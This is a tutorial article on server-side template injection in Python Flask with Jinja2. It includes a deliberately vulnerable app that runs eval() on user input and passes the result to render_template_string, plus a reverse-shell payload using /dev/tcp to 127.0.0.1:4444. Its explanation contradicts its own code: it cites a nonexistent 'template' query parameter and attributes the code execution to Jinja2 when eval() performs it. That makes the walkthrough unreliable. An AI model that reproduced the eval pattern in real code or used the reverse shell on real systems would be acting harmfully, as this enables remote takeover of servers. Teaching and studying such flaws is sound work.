

Understanding Python Flask Jinja2 Server-Side Template Injection (SSTI)

Alexandru Udrea
Mihai-Sorin Stanciu

Jan 15, 2025

Introduction

Server-Side Template Injection (SSTI) is a critical security vulnerability that occurs when user input is insecurely embedded in server-side templates. This article explores SSTI in the context of Python Flask applications using the Jinja2 templating engine. We discuss what SSTI is, provide an overview of Flask and Jinja2, analyze a vulnerable Flask application, and demonstrate the risks associated with SSTI attacks.

What is Server-Side Template Injection?

Server-Side Template Injection occurs when untrusted user input is executed in a server-side template, enabling attackers to inject malicious payloads. Depending on the template engine, attackers can execute arbitrary code, extract sensitive data, or take control of the server.

SSTI is particularly dangerous in engines that allow the execution of Python code, such as Jinja2, used by Flask. Identifying and mitigating SSTI vulnerabilities is crucial for securing web applications.

How Does SSTI Occur?

Many web frameworks use template engines to render dynamic content. A template engine allows developers to embed placeholders in HTML, which are replaced with data during rendering. For example:

```
1 <p>Welcome, {{ username }}</p>
```

Listing 1: Example of a Placeholder in HTML

If the `username` is supplied by a user and not properly sanitized, malicious input could be evaluated by the template engine, leading to SSTI.

Key Features of Template Engines that Lead to SSTI

Some template engines allow execution of logic and access to the underlying programming language. This flexibility, while useful, becomes dangerous if user input is not sanitized. Examples include:

- **Python Jinja2:** Allows access to Python objects, methods, and functions.
- **PHP Twig:** Offers powerful template rendering but can be exploited if input is not escaped.
- **Ruby ERB:** Executes Ruby code directly in templates.
- **Java FreeMarker:** Permits access to Java methods.

What are Flask and Jinja2?

Flask is a lightweight Python web framework that enables rapid development of web applications. It is widely used due to its simplicity and extensibility. Flask applications often use the Jinja2 templating engine for rendering dynamic HTML content.

Jinja2 is a powerful template engine that supports a variety of features, including variable substitution, control structures, and filters. While these features enhance developer productivity, they also introduce security risks if not properly handled.

Vulnerable Flask Code Example

The following code demonstrates a Flask application vulnerable to SSTI:

```
1 import os
2 from flask import Flask, render_template, render_template_string, request
3 from flask_cors import CORS
4
5 app = Flask(__name__, template_folder=".")
6 CORS(app) # Enable CORS to allow requests
7
8 @app.route("/", methods=["GET"]) # Allow only GET to this endpoint
9 def index():
10     """
11     Return the provided html file.
12     """
13     assert os.path.exists("index.html")
14     return render_template("index.html")
15
16 @app.route("/result", methods=["POST"]) # Allow only POST to this endpoint
17 def generate_result():
18     """
19     Get 2 parameters from frontend a and b.
20     Sum them and return them to the requester.
21     """
22     data = request.json
23
24     assert data is not None # Make sure there is data in the POST request
25
26     a = data.get("a", "") # Get parameter a
27     b = data.get("b", "") # Get parameter a
28
29     try:
30         result_a = eval(a) if a else "" # Evaluate the data to make sure it is correct
31         result_b = eval(b) if b else ""
32         result = f"{a} + {b} = {result_a + result_b}"
33     except Exception as e:
34         result = f"Eroare: {e}"
35
36     return render_template_string(result) # Send back the response
37
38 if __name__ == "__main__":
39     app.run(debug=True)
```

Listing 2: server.py

This code takes user input from the 'template' query parameter and directly passes it to the Jinja2 'render_template_string' function. This allows users to inject malicious Jinja2 templates.

Understanding the Payload

When the following input is provided:

```
1 {{ os.system("sh -i >& /dev/tcp/127.0.0.1/4444 0>&1") }}
```

Jinja2 evaluates the expression, executing the ‘os.system’ function. This payload opens a reverse shell, connecting the server to the attacker’s machine at IP 127.0.0.1 on port 4444. The attacker gains remote access to the server, compromising its integrity and confidentiality.

Why Does This Happen?

Jinja2 templates have access to Python objects and functions. In the vulnerable example, user input is not sanitized or validated, allowing attackers to execute arbitrary code by exploiting the template engine’s capabilities.

Conclusion

SSTI vulnerabilities in Flask applications using Jinja2 pose severe risks. Developers should avoid directly embedding user input in templates and sanitize inputs to prevent malicious payloads. Using tools like **flask_wtf** and employing security best practices can mitigate these risks.

Understanding the mechanisms and consequences of SSTI is essential for developing secure web applications and protecting sensitive data.

References

- github.com/mstanciu552/ssti-poc-ps